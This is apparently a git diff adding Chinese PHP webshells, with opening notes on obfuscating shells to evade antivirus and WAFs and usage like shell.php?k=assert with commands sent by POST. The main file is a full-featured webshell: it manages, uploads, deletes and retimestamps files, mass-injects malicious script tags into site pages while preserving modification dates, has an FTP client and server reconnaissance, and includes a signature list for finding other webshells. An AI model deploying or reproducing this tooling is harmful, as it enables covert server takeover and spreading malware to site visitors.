+ + + + +//位运算符 //k为密码 试用方法 GET xxxx.php?k=assert POST k=命令 + + +使用方式 shell.php?k=assert POST k=phpinfo(); + +其实有很多免杀思路,加密算法问题,简单的加密可以找生僻的php算法函数进行混淆算法,软防这类的直接阳痿,检测不出来,因为普通的base64 chr zip压缩等等,软件这类都有自带的调用解密所以好多以前的免杀记录都不免杀了! 但是有时候可以绕过安全狗,无特征可以靠吧函数逆一下检测不出来函数 也是无特征所以基本 通杀waf,但是提交的参数不加密,还是会拦截参数,如果是混淆加密基本不好说能过,除非你有新思路,利用php算法函数来进行加密等等,从而检测不出,虽然是php函数,但是他waf调用的检测内核和解密内核他会用基本的去进行解密,如果我们在这个函数上再加一把东东呢,那这些waf是不是就傻眼了! 好久没上了,看看文章都不能看,不是正式成员,我也是赚点酒票快点升正式而已,下次如果有新加密方法,免费发布,怎么说呢,这类东西我只是提供一个新思路而已,比较方法好多,希望大家采纳! diff --git "a/php/\346\261\211\345\214\226\347\211\210\345\244\232\345\212\237\350\203\275\345\244\247\351\251\254.php" "b/php/\346\261\211\345\214\226\347\211\210\345\244\232\345\212\237\350\203\275\345\244\247\351\251\254.php" new file mode 100644 index 0000000..a3cd4d6 --- /dev/null +++ "b/php/\346\261\211\345\214\226\347\211\210\345\244\232\345\212\237\350\203\275\345\244\247\351\251\254.php" @@ -0,0 +1,1053 @@ + + *{padding:0; margin:0;} + body{background:threedface;font-family:"Verdana", "Tahoma", sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;} + a{color:#000000;text-decoration:none;} + a:hover{background:#33FF33;} + table{color:#000000;font-family:"Verdana", "Tahoma", sans-serif;font-size:13px;border:1px solid #999999;} + td{background:#F9F6F4;} + .bt{background:#3d3d3d;color:#ffffff;border:2px;font:13px Arial,Tahoma;height:22px;} + .toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;} + .msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;} + .actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;} +\n +END; +return false; } function File_Str($string) { return str_replace('//','/',str_replace('\\','/',$string)); } function File_Size($size) { if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G'; elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 . ' M'; elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K'; else $size = $size . ' B'; return $size; } function File_Mode() { $RealPath = realpath('./'); $SelfPath = $_SERVER['PHP_SELF']; $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/')); return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); } function File_Read($filename) { $handle = @fopen($filename,"rb"); $filecode = @fread($handle,@filesize($filename)); @fclose($handle); return $filecode; } function File_Write($filename,$filecode,$filemode) { $handle = @fopen($filename,$filemode); $key = @fwrite($handle,$filecode); if(!$key) { @chmod($filename,0666); $key = @fwrite($handle,$filecode); } @fclose($handle); return $key; } function File_Up($filea,$fileb) { $key = @copy($filea,$fileb) ? true : false; if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false; return $key; } function File_Down($filename) { if(!file_exists($filename)) return false; $filedown = basename($filename); $array = explode('.', $filedown); $arrayend = array_pop($array); header('Content-type: application/x-'.$arrayend); header('Content-Disposition: attachment; filename='.$filedown); header('Content-Length: '.filesize($filename)); @readfile($filename); exit; } function File_Deltree($deldir) { if(($mydir = @opendir($deldir)) == NULL) return false; while(false !== ($file = @readdir($mydir))) { $name = File_Str($deldir.'/'.$file); if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);rmdir($name);} if(is_file($name)){@chmod($name,0777);@unlink($name);} } @closedir($mydir); @chmod($deldir,0777); return @rmdir($deldir) ? true : false; } function File_Act($array,$actall,$inver) { if(($count = count($array)) == 0) return 'select file plz'; $i = 0; while($i < $count) { $array[$i] = urldecode($array[$i]); switch($actall) { case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return '路径错误'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = '复制'; break; case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = '删除'; break; case "c" : if(!eregi("^[0-7]{4}$",$inver)) return '错误属性值'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = '改变属性'; break; case "d" : @touch($array[$i],strtotime($inver)); $msg = '改变时间'; break; } $i++; } return '选择文件 '.$msg.' 成功'; } function File_Edit($filepath,$filename,$dim = '') { $THIS_DIR = urlencode($filepath); $THIS_FILE = File_Str($filepath.'/'.$filename); if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));} else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';} print<< +var NS4 = (document.layers); +var IE4 = (document.all); +var win = this; +var n = 0; +function search(str){ + var txt, i, found; + if(str == "")return false; + if(NS4){ + if(!win.find(str)) while(win.find(str, false, true)) n++; else n++; + if(n == 0) alert(str + " ... Not-Find") + } + if(IE4){ + txt = win.document.body.createTextRange(); + for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){ + txt.moveStart("character", 1); + txt.moveEnd("textedit") + } + if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++} + else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")} + } + return false +} +function CheckDate(){ + var re = document.getElementById('mtime').value; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('wrong time!format:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('editor').submit();} +} + +
                search content: +
                +
                +
                +
                +
                change file time
                +
                +
                +
                +END; +} function File_a($p) { $MSG_BOX = '等待消息队列......'; if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/'; $UP_DIR = urlencode(File_Str($p.'/..')); $REAL_DIR = File_Str(realpath($p)); $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); $THIS_DIR = urlencode(File_Str($p)); $UP_DIR = urlencode(File_Str(dirname($p))); $NUM_D = 0; $NUM_F = 0; if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? '编辑文件 '.$_POST['pfn'].' success' : '编辑文件 '.$_POST['pfn'].' faild';@touch($_POST['pfn'],$intime);} if(!empty($_POST['ufs'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($p.'/'.$upfilename)) ? 'upfile '.$upfilename.' success' : 'upfile '.$upfilename.' ';} if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);} if(!empty($_GET['mn'])){$MSG_BOX = @rename(File_Str($p.'/'.$_GET['mn']),File_Str($p.'/'.$_GET['rn'])) ? '重命名 '.$_GET['mn'].' to '.$_GET['rn'].' success' : '重命名 '.$_GET['mn'].' to '.$_GET['rn'].' faild';} if(!empty($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($p.'/'.$_GET['dn']),0777) ? 'create folder '.$_GET['dn'].' success' : 'create folder '.$_GET['dn'].' faild';} if(!empty($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? '删除文件夹 '.$_GET['dd'].' 成功' : '删除文件夹 '.$_GET['dd'].' 失败';} if(!empty($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = 'the download file does not exists';} Root_CSS(); print<< + function Inputok(msg,gourl) + { + smsg = "current file:[" + msg + "]"; + re = prompt(smsg,unescape(msg)); + if(re) + { + var url = gourl + escape(re); + window.location = url; + } + } + function Delok(msg,gourl) + { + smsg = "sure for del [" + unescape(msg) + "] ?"; + if(confirm(smsg)) + { + if(gourl == 'b'){document.getElementById('actall').value = escape(gourl);document.getElementById('fileall').submit();} + else window.location = gourl; + } + } + function CheckDate(msg,gourl) + { + smsg = "current file time:[" + msg + "]"; + re = prompt(smsg,msg); + if(re) + { + var url = gourl + re; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('time error!format:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();} + } + } + function CheckAll(form) + { + for(var i=0;i +
                {$MSG_BOX}
                +
                +
                + +
                +
                +
                + + + + + +
                +
                +
                + + + + + + +END; +if(($h_d = @opendir($p)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' or $Filename == '..') continue; $Filepath = File_Str($p.'/'.$Filename); if(is_dir($Filepath)) { $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); $Filepath = urlencode($Filepath); echo "\n".''; $Filename = urlencode($Filename); echo ''; echo ''; echo ' '; echo ''."\n"; $NUM_D++; } } @rewinddir($h_d); while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' or $Filename == '..') continue; $Filepath = File_Str($REAL_DIR.'/'.$Filename); if(!is_dir($Filepath)) { $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath); $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); $Filesize = File_Size(@filesize($Filepath)); if($Filepath == File_Str(__FILE__)) $fname = ''.$Filename.''; else $fname = $Filename; echo "\r\n".' '; $Filepath = urlencode($Filepath); $Filename = urlencode($Filename); echo ' '; echo ' '; echo ' '; echo ' '."\r\n"; $NUM_F++; } } @closedir($h_d); print<< +
                + + + + + + +文件夹({$NUM_D}) / 文件({$NUM_F})
                + +END; +return true; } function Guama_Pass($length) { $possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str = ""; while(strlen($str) < $length) $str .= substr($possible,(rand() % strlen($possible)),1); return $str; } function Guama_Auto($gp,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go) { if(($h_d = @opendir($gp)) == NULL) return false; if($go) { preg_match_all("/\[\-([^~]*?)\-\]/i",$gc,$nc); $passm = (int)$nc[1][0]; if((!eregi("^[0-9]{1,2}$",$nc[1][0])) || ($passm > 12)) return false; } while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; if($gl != ''){if(eregi($gl,$Filename)) continue;} $Filepath = File_Str($gp.'/'.$Filename); if(is_dir($Filepath) && $gb) Guama_Auto($Filepath,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go); if(eregi($gt,$Filename)) { $ic = File_Read($Filepath); if(stristr($ic,$gk)) continue; if($go) $gc = str_replace($nc[0][0],Guama_Pass($passm),$gc); if($gd) $ftime = @filemtime($Filepath); if($incode == '1'){if(!stristr($ic,'')) continue; $ic = str_replace('',"\r\n".$gc."\r\n".''."\r\n",$ic); $ic = str_replace('',"\r\n".$gc."\r\n".''."\r\n",$ic);} if($incode == '2') $ic = $gc."\r\n".$ic; if($incode == '3') $ic = $ic."\r\n".$gc; echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'
                '."\r\n" : 'err:'.$Filepath.'
                '."\r\n"; if($gd) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Guama_b() { if((!empty($_POST['gp'])) && (!empty($_POST['gt'])) && (!empty($_POST['gc']))) { $gk = ''; $go = false; $gt = str_replace('.','\\.',$_POST['gt']); $gl = isset($_POST['gl']) ? str_replace('.','\\.',$_POST['gl']) : ''; $gd = isset($_POST['gd']) ? true : false; $gb = ($_POST['gb'] == 'a') ? true : false; if(isset($_POST['gx'])){$gk = $_POST['gc'];if(stristr($_POST['gc'],'[-') && stristr($_POST['gc'],'-]')){$temp = explode('[-',$_POST['gc']); $gk = $temp[0]; $go = true;}} echo Guama_Auto($_POST['gp'],$gt,$gl,$_POST['gc'],$_POST['incode'],$gk,$gd,$gb,$go) ? '成功' : '失败'; echo '
                '; return false; } $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); print<< +function Fulll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";sform.gp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";sform.gt.value = Str[i];} + return true; +} +function autorun(){ + if(document.getElementById('gp').value == ''){alert('路径不能为空');return false;} + if(document.getElementById('gt').value == ''){alert('类型不能为空');return false;} + if(document.getElementById('gc').value == ''){alert('代码不能为空');return false;} + document.getElementById('sform').submit(); +} + +
                +
                挂马路径: +
                +
                文件类型: +
                +
                过滤对象: +开启 关闭
                +
                挂马代码: +
                挂马变形说明: 程序自动寻找[-6-]标签,替换为随机字符,6表示六位随机字符,最大12位,如果不变形可以不加[-6-]标签. +
                Example: <script language=javascript src="http://www.baidu.com/ad.js?EMTDSU"></script>
                +
                插入</head>标签之前; +插入文件最顶端 +插入文件最末尾
                +
                智能过滤重复代码 保持文件修改时间不变
                +
                将挂马应用于该文件夹,子文件夹和文件 +
                仅将挂马应用于该文件夹
                +
                + +END; +return true; } function Qingma_Auto($qp,$qt,$qc,$qd,$qb) { if(($h_d = @opendir($qp)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($qp.'/'.$Filename); if(is_dir($Filepath) && $qb) Qingma_Auto($Filepath,$qt,$qc,$qd,$qb); if(eregi($qt,$Filename)) { $ic = File_Read($Filepath); if(!stristr($ic,$qc)) continue; $ic = str_replace($qc,'',$ic); if($qd) $ftime = @filemtime($Filepath); echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'
                '."\r\n" : 'err:'.$Filepath.'
                '."\r\n"; if($qd) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Qingma_c() { if((!empty($_POST['qp'])) && (!empty($_POST['qt'])) && (!empty($_POST['qc']))) { $qt = str_replace('.','\\.',$_POST['qt']); $qd = isset($_POST['qd']) ? true : false; $qb = ($_POST['qb'] == 'a') ? true : false; echo Qingma_Auto($_POST['qp'],$qt,$_POST['qc'],$qd,$qb) ? '成功' : '失败'; echo '
                '; return false; } $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); print<< +function Fullll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";xform.qp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";xform.qt.value = Str[i];} + return true; +} +function autoup(){ + if(document.getElementById('qp').value == ''){alert('文件路劲不能为空');return false;} + if(document.getElementById('qt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('qc').value == ''){alert('代码不能为空');return false;} + document.getElementById('xform').submit(); +} + +
                +
                清马路径: +
                +
                文件类型: +
                +
                清除代码
                +
                保持文件修改时间不变
                +
                将清马应用于该文件夹,子文件夹和文件 +
                仅将清马应用于该文件夹
                +
                + +END; +return true; } function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb) { if(($h_d = @opendir($tp)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($tp.'/'.$Filename); if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb); $doing = false; if(eregi($tt,$Filename)) { $ic = File_Read($Filepath); if($th) { if(!stristr($ic,$tca)) continue; $ic = str_replace($tca,$tcb,$ic); $doing = true; } else { preg_match_all("/\'."\r\n" : 'err:'.$Filepath.'
                '."\r\n"; if($td) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Tihuan_d() { if((!empty($_POST['tp'])) && (!empty($_POST['tt']))) { $tt = str_replace('.','\\.',$_POST['tt']); $td = isset($_POST['td']) ? true : false; $tb = ($_POST['tb'] == 'a') ? true : false; $th = ($_POST['th'] == 'a') ? true : false; if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']); echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? '成功' : '失败'; echo '
                '; return false; } $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); print<< +function Fulllll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];} + return true; +} +function showth(th){ + if(th == 'a') document.getElementById('setauto').innerHTML = '
                Searchment
                Replacement '; + if(th == 'b') document.getElementById('setauto').innerHTML = '
                Download Suffix

                   Replacement   '; + return true; +} +function autoup(){ + if(document.getElementById('tp').value == ''){alert('文件路径不能为空');return false;} + if(document.getElementById('tt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('tca').value == '' || document.getElementById('tcb').value == ''){alert('替换内容不能为空');return false;} + document.getElementById('tform').submit(); +} + +
                +
                替换路径: +
                +
                Type: +
                +
                替换文件中的指定内容 替换文件中的下载地址
                +
                查找内容: 
                替换成为:
                +
                保持文件修改时间不变
                +
                将替换应用于该文件夹,子文件夹和文件 +
                仅将替换应用于该文件夹
                +
                + +END; +return true; } function Antivirus_Auto($sp,$features,$st) { if(($h_d = @opendir($sp)) == NULL) return false; $ROOT_DIR = File_Mode(); while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($sp.'/'.$Filename); if(is_dir($Filepath)) Antivirus_Auto($Filepath,$features,$st); if(eregi($st,$Filename)) { if($Filepath == File_Str(__FILE__)) continue; $ic = File_Read($Filepath); foreach($features as $var => $key) { if(stristr($ic,$key)) { $Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); echo '
                '.$Filepath.'
                编辑删除】 '; echo '【'.$Filetime.'】 '.$var.'

                '; break; } } ob_flush(); flush(); } } @closedir($h_d); return true; } function Antivirus_e() { if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo ' 删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? ' 删除成功' : ' 删除失败';} return false;} if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } $SCAN_DIR = (File_Mode() == '') ? File_Str(dirname(__FILE__)) : File_Mode(); $features_php = array('ftp.class.php'=>'ftp.class.php','cha88.cn'=>'cha88.cn','Security Angel Team'=>'Security Angel Team','read()'=>'->read()','readdir'=>'readdir(','return string soname'=>'returns string soname','eval()'=>'eval(gzinflate(','eval(base64_decode())'=>'eval(base64_decode(','eval($_POST)'=>'eval($_POST','eval($_REQUEST)'=>'eval($_REQUEST','eval ($_)'=>'eval ($_','copy()'=>'copy($_FILES','copy ()'=>'copy ($_FILES','move_uploaded_file()'=>'move_uploaded_file($_FILES','move_uploaded_file ()'=>'move_uploaded_file ($_FILES','str_replace()'=>'str_replace(\'\\\\\',\'/\','); $features_asx = array('绝对路径'=>'绝对路径','输入马的内容'=>'输入马的内容','fso.createtextfile()'=>'fso.createtextfile(path,true)','<%execute(request())%>'=>'<%execute(request','<%eval request()%>'=>'<%eval request','execute session()'=>'execute session(','--Created!'=>'--Created!','WScript.Shell'=>'WScript.Shell','<%s LANGUAGE = VBScript.Encode %>'=>'<%@ LANGUAGE = VBScript.Encode %>','www.rootkit.net.cn'=>'www.rootkit.net.cn','Process.GetProcesses'=>'Process.GetProcesses','lake2'=>'lake2'); print<<
                +扫描路径: + + +
                +END; +if(!empty($_POST['sp'])) { if($_POST['st'] == 'php'){$features_all = $features_php; $st = '\.php|\.inc|\.php4|\.php3|\._hp|\;';} if($_POST['st'] == 'asx'){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\.cdx|\;';} if($_POST['st'] == 'ppp'){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.php4|\.php3|\._hp|\.asp|\.asa|\.cer|\.cdx|\.aspx|\.ascx|\;';} echo Antivirus_Auto($_POST['sp'],$features_all,$st) ? '成功' : '失败'; } echo ''; return true; } function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb) { if(($h_d = @opendir($sfp)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; if(eregi($sft,$Filename)) continue; $Filepath = File_Str($sfp.'/'.$Filename); if(is_dir($Filepath) && $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb); if($sff) { if(stristr($Filename,$sfc)) { echo ' '.$Filepath.'
                '."\r\n"; ob_flush(); flush(); } } else { $File_code = File_Read($Filepath); if(stristr($File_code,$sfc)) { echo ' '.$Filepath.'
                '."\r\n"; ob_flush(); flush(); } } } @closedir($h_d); return true; } function Findfile_j() { if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '删除成功' : '删除失败';} return false;} if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } $SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode(); $SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config'; $SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip'; print<< +
                扫描路径
                +
                 过滤文件 
                +
                关键字串 +搜索文件名 +搜索包含关键字
                +
                将搜索应用于该文件夹,子文件夹和文件 + +
                仅将搜索应用于该文件夹
                +
                + +END; +if((!empty($_POST['sfp'])) && (!empty($_POST['sfc']))) { echo '
                '; $_POST['sft'] = str_replace('.','\\.',$_POST['sft']); $sff = ($_POST['sff'] == 'a') ? true : false; $sfb = ($_POST['sfb'] == 'a') ? true : false; echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? '成功' : 'Error'; echo '
                '; } return true; } function filecollect($dir,$filelist) { $files = ftp_nlist($conn,$dir); return $files; } function ftp_php(){ $dir = ""; $ftphost = isset($_POST['ftphost']) ? $_POST['ftphost'] : '127.0.0.1'; $ftpuser = isset($_POST['ftpuser']) ? $_POST['ftpuser'] : 'root'; $ftppass = isset($_POST['ftppass']) ? $_POST['ftppass'] : 'root'; $ftplist = isset($_POST['list']) ? $_POST['list'] : ''; $ftpfolder = isset($_POST['ftpfolder']) ? $_POST['ftpfolder'] : '/'; $ftpfolder = strtr($ftpfolder,"\\","/"); $files = isset($_POST['readfile']) ? $_POST['readfile'] : ''; print<<
                用PHP链接ftp服务

                +

                +
                主机: +用户: +密码:

                + +文件夹: + +

                +END; +if($ftplist == 'list'){ $conn = @ftp_connect($ftphost) or die("不能链接ftp服务"); if(@ftp_login($conn,$ftpuser,$ftppass)){ $filelists = @ftp_nlist( $conn, $ftpfolder ); echo "
                "; echo "当前目录是 $ftpfolder:
                "; if(is_array($filelists)) { foreach ($filelists as $file) { $file = strtr($file,"\\","/"); $size_file =@ftp_size($conn, $file); if ( $size_file == -1) { $a=$a.basename($file)."
                "; } else { $b=$b.basename($file)." ".$size_file."B
                "; } } } echo $a; echo $b; echo "
                "; } } print<< +
                文件名: + +

                +END; +$readaction = isset($_POST['read']) ? $_POST['read'] : ''; if ($readaction == 'read') { $handle = @file_get_contents("ftp://$ftpuser:$ftppass@$ftphost/$files", "r"); $handle = htmlspecialchars($handle); $handle = str_replace("\n", "
                ", $handle); echo "$files 内容是:

                "; echo $handle; } print<< +
                文件夹: + + +

                +END; +$upaction = isset($_POST['upfile']) ? $_POST['upfile'] : '' ; if ($upaction == 'upfile') { $cdir = isset($_POST['cdir']) ? $_POST['cdir'] : '/'; $conn = @ftp_connect($ftphost) or die("不能链接ftp服务"); if(@ftp_login($conn,$ftpuser,$ftppass)){ @ftp_chdir($conn, $cdir); $res_code = @ftp_put($conn,$_FILES['upload']['name'],$_FILES['upload']['tmp_name'], FTP_BINARY,0); if (empty($res_code)){ echo 'ftp上传失败
                '; } else{ echo 'ftp上传成功
                '; } } } print<< +
                文件路径: + +

                +END; +$getfile = isset($_POST['downfile']) ? $_POST['downfile'] : ''; $getaction = isset($_POST['getfile']) ? $_POST['getfile'] : ''; if ($getaction == 'down' && $getfile !=''){ function php_ftp_download($filename){ global $ftphost,$ftpuser,$ftppass; $ftp_path = dirname($filename) . "/"; $select_file = basename($filename); $ftp = @ftp_connect($ftphost); if($ftp){ if(@ftp_login($ftp, $ftpuser, $ftppass)){ if(@ftp_chdir($ftp,$ftp_path)) { $tmpfile = tempnam(getcwd(),"temp"); if(ftp_get($ftp,$tmpfile,$select_file,FTP_BINARY)){ ftp_quit($ftp); header("Content-Type:application/octet-stream"); header("Content-Disposition:attachment; filename=" . $select_file); unlink($tmpfile); exit; } } } } ftp_quit($ftp); } php_ftp_download($getfile); } } function Info_Cfg($varname){switch($result = get_cfg_var($varname)){case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break;}} function Info_Fun($funName){return (false !== function_exists($funName)) ? "Yes" : "No";} function Info_f() { $dis_func = get_cfg_var("disable_functions"); $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "upfile forbidden"; $adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from").""; if($dis_func == ""){$dis_func = "No";}else{$dis_func = str_replace(" ","
                ",$dis_func);$dis_func = str_replace(",","
                ",$dis_func);} $phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; $info = array( array("服务器时间",date("Y-m-d h:i:s",time())), array("服务器域名","".$_SERVER['SERVER_NAME'].""), array("服务器IP地址",gethostbyname($_SERVER['SERVER_NAME'])), array("服务器操作系统",PHP_OS), array("服务器操作系统文字编码",$_SERVER['HTTP_ACCEPT_LANGUAGE']), array("服务器解译引擎",$_SERVER['SERVER_SOFTWARE']), array("你的IP",getenv('REMOTE_ADDR')), array("Web服务端口",$_SERVER['SERVER_PORT']), array("PHP运行方式",strtoupper(php_sapi_name())), array("PHP版本",PHP_VERSION), array("运行于安全模式",Info_Cfg("safemode")), array("服务器管理员",$adminmail), array("本文件路径",__FILE__), array("允许使用 URL 打开文件 allow_url_fopen",Info_Cfg("allow_url_fopen")), array("允许动态加载链接库 enable_dl",Info_Cfg("enable_dl")), array("显示错误信息 display_errors",Info_Cfg("display_errors")), array("自动定义全局变量 register_globals",Info_Cfg("register_globals")), array("magic_quotes_gpc",Info_Cfg("magic_quotes_gpc")), array("程序最多允许使用内存量 memory_limit",Info_Cfg("memory_limit")), array("POST最大字节数 post_max_size",Info_Cfg("post_max_size")), array("允许最大上传文件 upload_max_filesize",$upsize), array("程序最长运行时间 max_execution_time",Info_Cfg("max_execution_time")."second"), array("被禁用的函数 disable_functions",$dis_func), array("phpinfo()",$phpinfo), array("目前还有空余空间diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), array("图形处理 GD Library",Info_Fun("imageline")), array("IMAP电子邮件系统",Info_Fun("imap_close")), array("MySQL数据库",Info_Fun("mysql_close")), array("SyBase数据库",Info_Fun("sybase_close")), array("Oracle数据库",Info_Fun("ora_close")), array("Oracle 8 数据库",Info_Fun("OCILogOff")), array("PREL相容语法 PCRE",Info_Fun("preg_match")), array("PDF文档支持",Info_Fun("pdf_close")), array("Postgre SQL数据库",Info_Fun("pg_close")), array("SNMP网络管理协议",Info_Fun("snmpget")), array("压缩文件支持(Zlib)",Info_Fun("gzclose")), array("XML解析",Info_Fun("xml_set_object")), array("FTP",Info_Fun("ftp_login")), array("ODBC数据库连接",Info_Fun("odbc_close")), array("Session支持",Info_Fun("session_start")), array("Socket支持",Info_Fun("fsockopen")), ); echo '
                上一级目录 操作 属性 修改时间 大小
                0'.$Filename.'删除 '; echo '重命名'.$Fileperm.''.$Filetime.'
                '.$fname.' 编辑 '; echo ' 重命名 '.$Fileperm.''.$Filetime.' '.$Filesize.'
                '; for($i = 0;$i < count($info);$i++){echo ''."\n";} echo '
                '.$info[$i][0].''.$info[$i][1].'
